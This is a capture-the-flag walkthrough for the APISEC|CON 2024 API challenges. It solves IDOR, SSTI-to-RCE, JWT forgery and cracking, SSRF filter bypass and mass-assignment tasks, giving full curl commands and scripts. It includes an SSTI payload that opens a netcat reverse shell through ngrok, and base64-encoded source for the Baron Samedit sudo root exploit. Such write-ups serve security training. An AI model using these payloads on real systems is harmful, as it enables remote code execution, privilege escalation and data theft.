APISEC|CON 2024 CTF Walkthrough

 16 min read

Cover for APISEC|CON 2024 CTF Walkthrough

Scoreboard

I was Team Kern(a)l2 with 1,045 points (10th place).

Under Construction

Start With the Basics

Points: 25

A web app on the Target URL is listed below, but the front end hasn’t been built. Maybe you can use the API to get some flags? The first one seems pretty simple…

Target URL: https://under-construction.chals.ctf.malteksolutions.com/

Navigating to the website, we see it is under construction and tells us about an /api/docs endpoint.

On this endpoint, we see there are a few endpoints that we can explore.

Looking at the register function, we need to send a POST request /api/register and have the parameters in a format.

curl -X POST https://under-construction.chals.ctf.malteksolutions.com/api/register \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'username=sec10splaya&password=testin123!'

We can log into the application now that we have successfully created a user.

curl -X POST https://under-construction.chals.ctf.malteksolutions.com/api/login \   
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'username=sec10splaya&password=testin123!'

The response shows a success message and gives us a session token.

{"message":"success","session":"ea692712-41fd-41ea-9b7b-48151fe0ff56"} 

Using the session token, we can retrieve the flag.

curl -X GET https://under-construction.chals.ctf.malteksolutions.com/api/flag \ 
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'username=sec10splaya&password=testin123!' \
-H "Authorization: Bearer ea692712-41fd-41ea-9b7b-48151fe0ff56"

Flag: apisec{nO_Br0w53r_N3Ed3d}

Whose Note is it Anyways?

Points: 100

Another flag has been hidden in the API. I can’t remember where I hid it, I’ll have to check my notes

Target URL: https://under-construction.chals.ctf.malteksolutions.com/

Using the session token from Start With the Basics, we can obtain the notes.

We can brute-force the ‘ids’ and obtain the flag by creating a simple Python script.

import requests
import json

base_url = "https://under-construction.chals.ctf.malteksolutions.com/api/note/"
headers = {
    "Authorization": "Bearer 7042c221-e17f-4a73-bcfb-82c103e0f26d"
}

for id in range(400, 500):

    response = requests.get(f"{base_url}{id}", headers=headers)
    if "apisec" in response.text:
        print(f"ID: {id} - {response.text}")
        exit()

Flag: apisec{Th4t5_JuSt_IDORabl3}


MuAPI

Data Driven Discovery

Points: 250

I did not receive points for this challenge as it was solved after the competition concluded.

Turns out that the pentest report was never actually read by the mages. Typical. But it’s not like anyone can actually get into our system, right? The report was pretty vague.

Target URL: https://muapi.chals.ctf.malteksolutions.com/

The application does not have much functionality.

There is a “Log In” and “Sign Up” page, neither of which seems fruitful.

After bruteforcing directories, we stumble upon a /api/v1/news directory. It says that we are missing an API key.

Appending a /help onto the endpoint, we see that it reflects in the error message.

https://muapi.chals.ctf.malteksolutions.com/api/v1/news/help

Try various different injection types, and we can see that Server-Side Template Injection (SSTI) worked!

https://muapi.chals.ctf.malteksolutions.com/api/v1/news/{{7*7}}

Using a basic SSTI payload, we receive Remote Code Execution (RCE).

https://muapi.chals.ctf.malteksolutions.com/api/v1/news/%7B%7B%20self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()%20%7D%7D

After some navigation on the server, we see that there is a flag.txt.

https://muapi.chals.ctf.malteksolutions.com/api/v1/news/%7B%7B%20self.__init__.__globals__.__builtins__.__import__('os').popen('ls -la ..').read()%20%7D%7D

We can retrieve the flag.

https://muapi.chals.ctf.malteksolutions.com/api/v1/news/%7B%7B%20self.__init__.__globals__.__builtins__.__import__('os').popen('cat ../flag.txt').read()%20%7D%7D

Flag: apisec{Y0U-G0T-RC3-223}

Breaking Into Admin Territory

Points: 150

I did not receive points for this challenge as it was solved after the competition concluded.

Check out the new music streaming service that the mages have been working on! IT said they had a pentest done, but we actually have no idea what the results were. It’s probably fine, though, right? Target URL: https://muapi.chals.ctf.malteksolutions.com/

With the RCE from the previous challenge, we can start to look through some of the application files. Within the app/api.py directory, we see that there is an report.pdf endpoint that requires a PIN from current_app.config['DOWNLOAD_KEY'].

https://muapi.chals.ctf.malteksolutions.com/api/v1/news/%7B%7B%20self.__init__.__globals__.__builtins__.__import__('os').popen('cat app/api.py').read()%20%7D%7D

@api_blueprint.route("/files/2882b66aafcf5233c61002810387fa97/report.pdf")
def download():
    filename = "report.pdf"
    pin = request.args.get("pin", None)
    if str(pin) == str(current_app.config["DOWNLOAD_KEY"]):
        return send_file(f"{os.getcwd()}/app/downloads/{filename}", as_attachment=True)
    elif pin:
        return "Invalid pin entered by application, enter your 4 digit pin"
    else:
        return "No pin entered by application, enter your 4 digit pin"

Doing a recursive grep search for the word DOWNLOAD_KEY reveals the PIN number.

https://muapi.chals.ctf.malteksolutions.com/api/v1/news/%7B%7B%20self.__init__.__globals__.__builtins__.__import__('os').popen('grep -r "DOWNLOAD_KEY"').read()%20%7D%7D

We can perform a GET request and download the report.pdf file.

https://muapi.chals.ctf.malteksolutions.com/api/v1/files/2882b66aafcf5233c61002810387fa97/report.pdf?pin=2190

Within the report, we see that the flag is at the bottom.

Flag: apisec{SQL-M45T3R-4-L1F3-381}

Above and Beyond

Points: 250

I did not receive points for this challenge as it was solved after the competition concluded.

We just got word that there’s a privilege escalation vulnerability on the system running MuAPI! This was just disclosed to us now. Perhaps someone can figure out what’s going on?

Target URL: https://muapi.chals.ctf.malteksolutions.com/

With the RCE, we can obtain a reverse shell and figure out how to privilege escalate.

This next part is with the help of SloppyJoePirates CTF Writeups. He showed me a way ngrok to port forward and obtain a shell. This method requires an account on the ngrok website.

After you set up ngrok on Kali, we can start ngrok on port 4444.

ngrok tcp 4444

Within the ngrok window, you will see a section called Forwarding. An example is below.

Forwarding                    tcp://0.tcp.ngrok.io:12860 -> localhost:4444 

In a different terminal, set up a netcat listener on port 4444.

nc -lvnp 4444

We can obtain a reverse shell using the following URL:

https://muapi.chals.ctf.malteksolutions.com/api/v1/news/%7B%7B%20self.__init__.__globals__.__builtins__.__import__('os').popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ngrok URL> <ngrok port> >/tmp/f').read()%20%7D%7D

After sending the request, we get a connection back.

After stabilizing a shell, we see that the sudo version is 1.8.31.

sudo -V

We also see that the system is running Ubuntu 20.04 LTS (Focal Fossa).

cat /etc/os-release

Looking up the sudo version, we see there is a vulnerability called Baron Samedit. Using this Github, we can transfer the files to the server.

However, we cannot use the typical wget or curl because those are not installed on the system.

Another way to transfer files is by using base64 to encode each one.

# shellcode.c

echo "c3RhdGljIHZvaWQgX19hdHRyaWJ1dGVfXygoY29uc3RydWN0b3IpKSBfaW5pdCh2b2lkKSB7CiAgX19hc20gX192b2xhdGlsZV9fKAogICAgICAiYWRkcSAkNjQsICVyc3A7IgogICAgICAvLyBzZXR1aWQoMCk7CiAgICAgICJtb3ZxICQxMDUsICVyYXg7IgogICAgICAibW92cSAkMCwgJXJkaTsiCiAgICAgICJzeXNjYWxsOyIKICAgICAgLy8gc2V0Z2lkKDApOwogICAgICAibW92cSAkMTA2LCAlcmF4OyIKICAgICAgIm1vdnEgJDAsICVyZGk7IgogICAgICAic3lzY2FsbDsiCiAgICAgIC8vIGV4ZWN2ZSgiL2Jpbi9zaCIpOwogICAgICAibW92cSAkNTksICVyYXg7IgogICAgICAibW92cSAkMHgwMDY4NzMyZjZlNjk2MjJmLCAlcmRpOyIKICAgICAgInB1c2hxICVyZGk7IgogICAgICAibW92cSAlcnNwLCAlcmRpOyIKICAgICAgIm1vdnEgJDAsICVyZHg7IgogICAgICAicHVzaHEgJXJkeDsiCiAgICAgICJwdXNocSAlcmRpOyIKICAgICAgIm1vdnEgJXJzcCwgJXJzaTsiCiAgICAgICJzeXNjYWxsOyIKICAgICAgLy8gZXhpdCgwKTsKICAgICAgIm1vdnEgJDYwLCAlcmF4OyIKICAgICAgIm1vdnEgJDAsICVyZGk7IgogICAgICAic3lzY2FsbDsiKTsKfQo=" | base64 -d > shellcode.c

# exploit.c

echo "I2luY2x1ZGUgPHVuaXN0ZC5oPiAvLyBleGVjdmUoKQojaW5jbHVkZSA8c3RyaW5nLmg+IC8vIHN0cmNhdCgpCgovKiBFeHBsb2l0IGZvciBDVkUtMjAyMS0zMTU2LCBkcm9wcyBhIHJvb3Qgc2hlbGwuCiAqIEFsbCBjcmVkaXQgZm9yIG9yaWdpbmFsIHJlc2VhcmNoOiBRdWFseXMgUmVzZWFyY2ggVGVhbS4KICogaHR0cHM6Ly9ibG9nLnF1YWx5cy5jb20vdnVsbmVyYWJpbGl0aWVzLXJlc2VhcmNoLzIwMjEvMDEvMjYvY3ZlLTIwMjEtMzE1Ni1oZWFwLWJhc2VkLWJ1ZmZlci1vdmVyZmxvdy1pbi1zdWRvLWJhcm9uLXNhbWVkaXQKICoKICogVGVzdGVkIG9uIFVidW50dSAyMC4wNCBhZ2FpbnN0IHN1ZG8gMS44LjMxCiAqIEF1dGhvcjogTWF4IEthbXBlcgogKi8KCnZvaWQgbWFpbih2b2lkKSB7CgogICAgLy8gJ2J1Zicgc2l6ZSBkZXRlcm1pbmVzIHNpemUgb2Ygb3ZlcmZsb3dpbmcgY2h1bmsuCiAgICAvLyBUaGlzIHdpbGwgYWxsb2NhdGUgYW4gMHhmMC1zaXplZCBjaHVuayBiZWZvcmUgdGhlIHRhcmdldCBzZXJ2aWNlX3VzZXIgc3RydWN0LgogICAgaW50IGk7CiAgICBjaGFyIGJ1ZlsweGYwXSA9IHswfTsKICAgIG1lbXNldChidWYsICdZJywgMHhlMCk7CiAgICBzdHJjYXQoYnVmLCAiXFwiKTsKCiAgICBjaGFyKiBhcmd2W10gPSB7CiAgICAgICAgInN1ZG9lZGl0IiwKICAgICAgICAiLXMiLAogICAgICAgIGJ1ZiwKICAgICAgICBOVUxMfTsKCiAgICAvLyBVc2Ugc29tZSBMQ18gdmFycyBmb3IgaGVhcCBGZW5nLVNodWkuCiAgICAvLyBUaGlzIHNob3VsZCBhbGxvY2F0ZSB0aGUgdGFyZ2V0IHNlcnZpY2VfdXNlciBzdHJ1Y3QgaW4gdGhlIHBhdGggb2YgdGhlIG92ZXJmbG93LgogICAgY2hhciBtZXNzYWdlc1sweGUwXSA9IHsiTENfTUVTU0FHRVM9ZW5fR0IuVVRGLThAIn07CiAgICBtZW1zZXQobWVzc2FnZXMgKyBzdHJsZW4obWVzc2FnZXMpLCAnQScsIDB4YjgpOwoKICAgIGNoYXIgdGVsZXBob25lWzB4NTBdID0geyJMQ19URUxFUEhPTkU9Qy5VVEYtOEAifTsKICAgIG1lbXNldCh0ZWxlcGhvbmUgKyBzdHJsZW4odGVsZXBob25lKSwgJ0EnLCAweDI4KTsKCiAgICBjaGFyIG1lYXN1cmVtZW50WzB4NTBdID0geyJMQ19NRUFTVVJFTUVOVD1DLlVURi04QCJ9OwogICAgbWVtc2V0KG1lYXN1cmVtZW50ICsgc3RybGVuKG1lYXN1cmVtZW50KSwgJ0EnLCAweDI4KTsKCiAgICAvLyBUaGlzIGVudmlyb25tZW50IHZhcmlhYmxlIHdpbGwgYmUgY29waWVkIG9udG8gdGhlIGhlYXAgYWZ0ZXIgdGhlIG92ZXJmbG93aW5nIGNodW5rLgogICAgLy8gVXNlIGl0IHRvIGJyaWRnZSB0aGUgZ2FwIGJldHdlZW4gdGhlIG92ZXJmbG93IGFuZCB0aGUgdGFyZ2V0IHNlcnZpY2VfdXNlciBzdHJ1Y3QuCiAgICBjaGFyIG92ZXJmbG93WzB4NTAwXSA9IHswfTsKICAgIG1lbXNldChvdmVyZmxvdywgJ1gnLCAweDRjZik7CiAgICBzdHJjYXQob3ZlcmZsb3csICJcXCIpOwoKICAgIC8vIE92ZXJ3cml0ZSB0aGUgJ2ZpbGVzJyBzZXJ2aWNlX3VzZXIgc3RydWN0J3MgbmFtZSB3aXRoIHRoZSBwYXRoIG9mIG91ciBzaGVsbGNvZGUgbGlicmFyeS4KICAgIC8vIFRoZSBiYWNrc2xhc2hlcyB3cml0ZSBudWxscyB3aGljaCBhcmUgbmVlZGVkIHRvIGRvZGdlIGEgY291cGxlIG9mIGNyYXNoZXMuCiAgICBjaGFyKiBlbnZwW10gPSB7CiAgICAgICAgb3ZlcmZsb3csCiAgICAgICAgIlxcIiwgIlxcIiwgIlxcIiwgIlxcIiwgIlxcIiwgIlxcIiwgIlxcIiwgIlxcIiwKICAgICAgICAiWFhYWFhYWFxcIiwKICAgICAgICAiXFwiLCAiXFwiLCAiXFwiLCAiXFwiLCAiXFwiLCAiXFwiLCAiXFwiLCAiXFwiLAogICAgICAgICJcXCIsICJcXCIsICJcXCIsICJcXCIsICJcXCIsICJcXCIsICJcXCIsCiAgICAgICAgIngveFxcIiwKICAgICAgICAiWiIsCiAgICAgICAgbWVzc2FnZXMsCiAgICAgICAgdGVsZXBob25lLAogICAgICAgIG1lYXN1cmVtZW50LAogICAgICAgIE5VTEx9OwoKICAgIC8vIEludm9rZSBzdWRvZWRpdCB3aXRoIG91ciBhcmd2ICYgZW52cC4KICAgIGV4ZWN2ZSgiL3Vzci9iaW4vc3Vkb2VkaXQiLCBhcmd2LCBlbnZwKTsKfQo=" | base64 -d > exploit.c

# Makefile

echo "YWxsOiBzaGVsbGNvZGUgZXhwbG9pdAoKc2hlbGxjb2RlOiBzaGVsbGNvZGUuYwoJbWtkaXIgbGlibnNzX3gKCSQoQ0MpIC1PMyAtc2hhcmVkIC1ub3N0ZGxpYiAtbyBsaWJuc3NfeC94LnNvLjIgc2hlbGxjb2RlLmMKCmV4cGxvaXQ6IGV4cGxvaXQuYwoJJChDQykgLU8zIC1vIGV4cGxvaXQgZXhwbG9pdC5jCgpjbGVhbjoKCXJtIC1yZiBsaWJuc3NfeCBleHBsb2l0Cg==" | base64 -d > Makefile

Now that we have all the files we need, we can run the make command, which will make an exploit binary.

Lastly, we can run the exploit binary and obtain a shell as root. The flag is in the /root/flag.txt file.

Flag: apisec{N0W-Y0U-G0T-R00T-995}


Insecure Runes

Points: 200

It looks like the orc devs are back to working for the mages! Unfortunately some of the mages are complaining about rune references being mixed up? It’s been said that there’s a secret way to access the flag, but we’ve yet to find it. Target URL: https://insecure-runes.chals.ctf.malteksolutions.com/

Going to the URL, we see there are a few endpoints we can look at.

Using the POST request, we can see what responses we get. First, we will try the 7*7 payload.

curl -X POST https://insecure-runes.chals.ctf.malteksolutions.com/rune/create \
-H "Content-Type: application/json" \
-d '{"Rune": "7*7"}'

Since it returns 49, we know that it is doing some sort of calculation on the backend. In an attempt to see if it is Python, we can run __file__.

curl -X POST https://insecure-runes.chals.ctf.malteksolutions.com/rune/create \
-H "Content-Type: application/json" \
-d '{"Rune": "__file__"}'

Knowing this, we can assume that it is an SSTI or something similar to SSTI. However, after enumerating all functions, SSTI did not appear to be the answer since there was a 20-character limit. Trying to type flag resulted in a different response.

curl -X POST https://insecure-runes.chals.ctf.malteksolutions.com/rune/create \
-H "Content-Type: application/json" \
-d '{"Rune": "flag"}' 

Seeing this, we must bypass the restriction to see the flag. We can add an @ which will get removed since it is a special character in the Linux command line. From there, we obtained the flag.

curl -X POST https://insecure-runes.chals.ctf.malteksolutions.com/rune/create \
-H "Content-Type: application/json" \
-d '{"Rune": "f@lag"}'

This can also be done by running the globals() function.

curl -X POST https://insecure-runes.chals.ctf.malteksolutions.com/rune/create \
-H "Content-Type: application/json" \
-d '{"Rune": "globals()"}'

Flag: apisec{tH3_d3v5_aR3_0rC5}


Ent Gardening

JWT Germinator

Points: 50

Sauron has tasked you with taking care of an ent for the upcoming war. Use the API to monitor it’s growth. Sauron will only reward you when your ent has finished growing.

Target URL: https://ent-gardening-1.chals.ctf.malteksolutions.com/

Going to the website, we see there are a few endpoints we can explore.

We can first obtain a “seed” from the /ent/get_seed endpoint.

curl -X POST https://ent-gardening-1.chals.ctf.malteksolutions.com/ent/get_seed

In the response, we retrieve a Seed_Token.

{"Seed_Token":"b'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJOYW1lIjoiUmljaGFyZCBDYXNoIiwiVGltZV9MZWZ0X0luX1llYXJzIjoiODAwMDAwMCJ9.'"}

Taking the second part of the JWT, we can base64 decode it.

echo "eyJOYW1lIjoiUmljaGFyZCBDYXNoIiwiVGltZV9MZWZ0X0luX1llYXJzIjoiODAwMDAwMCJ9" | base64 -d

This results in the following cleartext.

{"Name":"Richard Cash","Time_Left_In_Years":"8000000"}

Taking this, we can modify it and set Time_Left_In_Years to 0.

echo '{"Name":"Richard Cash","Time_Left_In_Years":"0"}' | base64

Now we get the following:

eyJOYW1lIjoiUmljaGFyZCBDYXNoIiwiVGltZV9MZWZ0X0luX1llYXJzIjoiMCJ9Cg==

Merging the new payload with the header, we get the following JWT.

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJOYW1lIjoiUmljaGFyZCBDYXNoIiwiVGltZV9MZWZ0X0luX1llYXJzIjoiMCJ9Cg==.

Using this, we can send a POST request to the /ent/check_seed and retrieve the flag.

curl -X POST https://ent-gardening-1.chals.ctf.malteksolutions.com/ent/check_seed -d '{"Seed_Token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJOYW1lIjoiUmljaGFyZCBDYXNoIiwiVGltZV9MZWZ0X0luX1llYXJzIjoiMCJ9Cg==."}' -H 'Content-Type: application/json'

Flag: apisec{H0wD_ThAt_Gr0W_5o_Fa5T}

JWT Arborist

Points: 75

Sauron is unhappy with those who have found a way to bypass the expected waiting time for their ent to properly mature. There has been a new API released for use, which has added security measures. Do not disappoint him again. Target URL: https://ent-gardening-2.chals.ctf.malteksolutions.com/

The endpoints are the same as the previous challenge.

We can retrieve a seed token from the /ent/get_seed endpoint.

curl -X POST https://ent-gardening-2.chals.ctf.malteksolutions.com/ent/get_seed          

{"Seed_Token":"b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJOYW1lIjoiQ2FybG9zIENvbGUiLCJUaW1lX0xlZnRfSW5fWWVhcnMiOiI4MDAwMDAwIn0.E4RZZ8QjaBifK4skVn6SR1Kssi1HOERgIxVqNleeUKw'"}

When we try to modify the JWT just like the one from JWT Germinator, we get a “Signature verification failed” error message.

Using hashcat, we can brute-force the signature.

hashcat -a 0 -m 16500 jwt /usr/share/wordlists/rockyou.txt

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJOYW1lIjoiSmFuaXMgTGVlIiwiVGltZV9MZWZ0X0luX1llYXJzIjoiODAwMDAwMCJ9.tViW_WZJ0hP09EYuoTTIFLNneMh2cW0_j11mfNYLLVU:december30

Using JWT.io, we can insert the signature and modify the JWT, setting the Time_Left_In_Years to 0.

Accessing the /ent/check_seed endpoint, we can retrieve the flag.

curl -X POST https://ent-gardening-2.chals.ctf.malteksolutions.com/ent/check_seed -d '{"Seed_Token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJOYW1lIjoiQ2FybG9zIENvbGUiLCJUaW1lX0xlZnRfSW5fWWVhcnMiOiIwIn0.P4ib4Q5siD-7kCmubjKpnEfJeB05Pfrddkhviiq6gow"}' -H 'Content-Type: application/json'

Flag: apisec{4r3_y0u_4_t1m3_tr4v3ll3r}

Garden of Tokens

Points: 100

I did not receive points for this challenge as it was solved after the competition concluded.

Apparently you can’t be trusted to properly care for these ents. Therefore we are now tracking all ent data centrally. You can only retrieve your flag once your ent has sufficiently matured.

Target URL: https://ent-gardening-3.chals.ctf.malteksolutions.com/

Looking at the homepage, we see a few interesting endpoints.

We can take a look at all the seeds on the API.

curl -X GET https://ent-gardening-3.chals.ctf.malteksolutions.com/ent/seeds -s | jq

We can POST to /ent/seed/new which reveals the seed_token, name, even though the plant exists. Looking at the Jonathan Monroe plant, we see that the JWT has Time_Left_In_Years set to -14.

curl -X POST -s https://ent-gardening-3.chals.ctf.malteksolutions.com/ent/seed/new -d '{"name":"Jonathan Monroe"}' -H "Content-Type: application/json"
{"error":"Plant already exists!","seed_token":"b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJOYW1lIjoiSm9uYXRoYW4gTW9ucm9lIiwicGxhbnRlZF9kYXRlIjoyMDAwLCJUaW1lX0xlZnRfSW5fWWVhcnMiOi0xNH0.tN_oSm0dsxhCi8lGD9E_O0uCeiq76Tjec884PK6DuDs'"}

Knowing this, we can POST to /ent/seed/check using the seed_token and retrieve the flag.

curl -X POST -s https://ent-gardening-3.chals.ctf.malteksolutions.com/ent/seed/check -d '{"Seed_Token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJOYW1lIjoiSm9uYXRoYW4gTW9ucm9lIiwicGxhbnRlZF9kYXRlIjoyMDAwLCJUaW1lX0xlZnRfSW5fWWVhcnMiOi0xNH0.tN_oSm0dsxhCi8lGD9E_O0uCeiq76Tjec884PK6DuDs"}' -H "Content-Type: application/json"

Flag: apisec{th4nk_y0u_f0r_y0ur_3ff0rt5_1n_h3lping_0ur_g4rd3n_grow}


Sauron’s Firewall

Come @ me, Sauron!

Points: 75

Sauron is pretty against his orcs using social media which is why he ONLY allows them to use http://sauron.com. Only there, does he allow his flags to be sent. Can you find a way to retrieve the flag?

Target URL: https://saurons-firewall-1.chals.ctf.malteksolutions.com/

Looking at the home page, we see there is one endpoint that we will need to look at.

When we try to access http://sauron.com, we retrieve an error message.

curl -X POST https://saurons-firewall-1.chals.ctf.malteksolutions.com/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://sauron.com"}'
{"error":"Invalid URL or no response!"}

This attack requires Out-of-Band (OOB) knowledge. Since some people do not have Burp Suite Collaborator, we can use InteractSH. After starting interactsh, we can send the request to the host provided by interactsh and retrieve the flag.

./interactsh-client -v -http-only
curl -X POST -H "Content-Type: application/json" -d '{"url": "http://[email protected]"}' https://saurons-firewall-1.chals.ctf.malteksolutions.com/proxy

Flag: apisec{Th3_eYe_d1Dn’t_Se3_Th15_c0M1nG}

Bypass the Dark Lord’s Firewall

Points: 100

I did not receive points for this challenge as it was solved after the competition concluded.

Sauron is still adamant about restricting his orcs’ social media usage, allowing them access only to http://sauron.com. Only to this domain will he securely transmit his flags. He found out about your little ”@” trick, so don’t think about using that again!

Target URL: https://saurons-firewall-2.chals.ctf.malteksolutions.com/

Since we cannot use the @ sign. We can try making the http://sauron.com a subdomain of our interactsh instance. We see that we get a connection back, which reveals the flag.

curl -X POST https://saurons-firewall-1.chals.ctf.malteksolutions.com/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://sauron.com.cp79rmcahse131cjbda0xr6ef787je3ox.oast.fun"}'

Flag: apisec{Th3_eYe_d1Dn’t_Se3_Th15_c0M1nG}

Sauron’s Last Stand

Points: 125

I did not receive points for this challenge as it was solved after the competition concluded.

Sauron’s grip on his orcs’ internet access remains tight, limiting them solely to http://sauron.com/ for all communications. His security measures have grown even more sophisticated. Do you have what it takes to penetrate his enhanced defenses and capture the flag?

Target URL: https://saurons-firewall-3.chals.ctf.malteksolutions.com/

Looking at the previous two challenges, the error message continues to say the URL required http://sauron.com, but with this challenge, it gives a different error message.

curl -X POST https://saurons-firewall-3.chals.ctf.malteksolutions.com/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://sauron.com"}' 

The first thing that stands out is that it is looking for an appended backlash at the end of the URL: http://sauron.com/

With this, we can try to add the interactsh payload before the Sauron domain and see what it returns.

curl -X POST https://saurons-firewall-3.chals.ctf.malteksolutions.com/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://cp7jt3sahsecg1ekgdugj8eq98a4ey7xo.oast.site/http://sauron.com/"}'

Looking at the GET request on interactsh, we see that the pointed URL is missing a /.

In an attempt to bypass the backlash filter, we can append another backlash to the end of the Sauron domain and see if we can retrieve the flag.

curl -X POST https://saurons-firewall-3.chals.ctf.malteksolutions.com/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://cp7jt3sahsecg1ekgdugj8eq98a4ey7xo.oast.site/http://sauron.com//"}'

This method stopped working for me. You can use RequestBins to retrieve the flag as well.

Flag: apisec{th35e_F1lt3r5_4r3_4_j0k3}


Blogger

Role Reversal

Points: 100

Check out our new blog! Well, the API at least! Now featuring draft posts. We think it’s pretty secure, so we’ve added a special flag in the admin account that only other admins are able to see.

Target URL: https://blogger.chals.ctf.malteksolutions.com/

On the main page, there is nothing, which means there needs to be an API somewhere. Using common words like api, v1, v2, docs, we stumble upon a FastAPI on the /docs endpoint.

We see there is a signup endpoint, so we will create a user.

curl -X 'POST' \
  'https://blogger.chals.ctf.malteksolutions.com/signup' \
  -H 'accept: application/json' \
  -H 'Content-Type: application/json' \
  -d '{
  "email": "[email protected]",
  "password": "password",
  "first_name": "John",
  "last_name": "Doe"
}'

Now we can log into the API and retrieve a session.

curl -X 'POST' \
  'https://blogger.chals.ctf.malteksolutions.com/login' \
  -H 'accept: application/json' \
  -H 'Content-Type: application/json' \
  -d '{
  "email": "[email protected]",
  "password": "password"
}'

{"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InRlc3RpbmdAdGVzdC5jb20iLCJmaXJzdF9uYW1lIjoiSm9obiIsImxhc3RfbmFtZSI6IkRvZSIsInJvbGUiOiJ1c2VyIiwiZXhwaXJlcyI6MTcxNjQyNTAxNS4xMTQ2ODY3fQ._Ua_mpkrOnoQayFrTyx6g8yC2Q5y92jkhG1VaM-EHIA"} 

Using this access token, we can view other users on the application. So, we tried to look at userID 1 and found that it was the administrator.

curl -X 'GET' \
  'https://blogger.chals.ctf.malteksolutions.com/users/1' \
  -H 'accept: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InRlc3RpbmdAdGVzdC5jb20iLCJmaXJzdF9uYW1lIjoiSm9obiIsImxhc3RfbmFtZSI6IkRvZSIsInJvbGUiOiJ1c2VyIiwiZXhwaXJlcyI6MTcxNjQyNTAxNS4xMTQ2ODY3fQ._Ua_mpkrOnoQayFrTyx6g8yC2Q5y92jkhG1VaM-EHIA'

Looking at all the different values within the response, we see there is a role parameter. On our user that we are signed in, our role value is set to user.

curl -X 'GET' \
  'https://blogger.chals.ctf.malteksolutions.com/users/me' \
  -H 'accept: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InRlc3RpbmdAdGVzdC5jb20iLCJmaXJzdF9uYW1lIjoiSm9obiIsImxhc3RfbmFtZSI6IkRvZSIsInJvbGUiOiJ1c2VyIiwiZXhwaXJlcyI6MTcxNjQyNTAxNS4xMTQ2ODY3fQ._Ua_mpkrOnoQayFrTyx6g8yC2Q5y92jkhG1VaM-EHIA'

Let’s try creating a user with the role admin.

curl -X 'POST' \
  'https://blogger.chals.ctf.malteksolutions.com/signup' \  
  -H 'accept: application/json' \
  -H 'Content-Type: application/json' \
  -d '{                                                                                                      
  "email": "[email protected]",
  "password": "password",
  "first_name": "John",
  "last_name": "Doe",
  "role": "admin"
}'

After returning to the login with the new user, we can retrieve the token.

curl -X 'POST' \
  'https://blogger.chals.ctf.malteksolutions.com/login' \                               
  -H 'accept: application/json' \
  -H 'Content-Type: application/json' \
  -d '{
  "email": "[email protected]",
  "password": "password"
}'
{"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InRlc3RpbmcyQHRlc3QuY29tIiwiZmlyc3RfbmFtZSI6IkpvaG4iLCJsYXN0X25hbWUiOiJEb2UiLCJyb2xlIjoiYWRtaW4iLCJleHBpcmVzIjoxNzE2NDI1MzEyLjkyNjI1M30.VTUlP_Xexx_7eaAoE5-Wra5LBz01hZx010u0NFgUu7E"}

Looking at the administrator user, we see more parameters about the user, one of which is the flag.

curl -X 'GET' \
  'https://blogger.chals.ctf.malteksolutions.com/users/1' \ 
  -H 'accept: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InRlc3RpbmcyQHRlc3QuY29tIiwiZmlyc3RfbmFtZSI6IkpvaG4iLCJsYXN0X25hbWUiOiJEb2UiLCJyb2xlIjoiYWRtaW4iLCJleHBpcmVzIjoxNzE2NDI1MzEyLjkyNjI1M30.VTUlP_Xexx_7eaAoE5-Wra5LBz01hZx010u0NFgUu7E'
{"id":1,"email":"[email protected]","password":"27d2293cb4e631ee5360429382c9be31db609eaedb0071fddd939aafe4031579","first_name":"Sys","last_name":"Admin","role":"admin","created_time":"2024-05-22 14:59:34","flag":"apisec{l00k_at_m3_1_am_th3_4dm1n_now}"}

Flag: apisec{l00k_at_m3_1_am_th3_4dm1n_now}

Prying Eyes Prohibited

Points: 150

Since we just rolled out draft posts, we want to make sure they stay safe from prying eyes. If you want to see the stuff from someone else that hasn’t been posted yet, you’re outta luck! Target URL: https://blogger.chals.ctf.malteksolutions.com/

From the Role Reversal challenge, we obtain administrative access to the application. In doing so, there was a password field in the response when going to the administrator user. Taking this password, we can run it through CrackStation and retrieve the password for the administrator user.

Using this password, we can create a token as the administrator by logging in.

curl -X 'POST' \
  'https://blogger.chals.ctf.malteksolutions.com/login' \   
  -H 'accept: application/json' \
  -H 'Content-Type: application/json' \
  -d '{                                                                                                       
  "email": "[email protected]",
  "password": "koolman1"
}'
{"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6ImFkbWluQG1hbHRla3NvbHV0aW9ucy5jb20iLCJmaXJzdF9uYW1lIjoiU3lzIiwibGFzdF9uYW1lIjoiQWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJleHBpcmVzIjoxNzE2NDI1NTg2LjU2OTU5OTJ9.LW0jm0L8jgRCRFZQdrSs0X6rZ8QbvNUj4sdMG7G8R7A"} 

Within the /posts endpoint, we see that there are 2 parameters that can be passed.

Since we have the administrator account and token, we can read the draft posts. Looking at the draft post, we can retrieve the flag.

curl -X 'GET' \
  'https://blogger.chals.ctf.malteksolutions.com/posts?author_id=1&draft=true' \
  -H 'accept: application/json' \
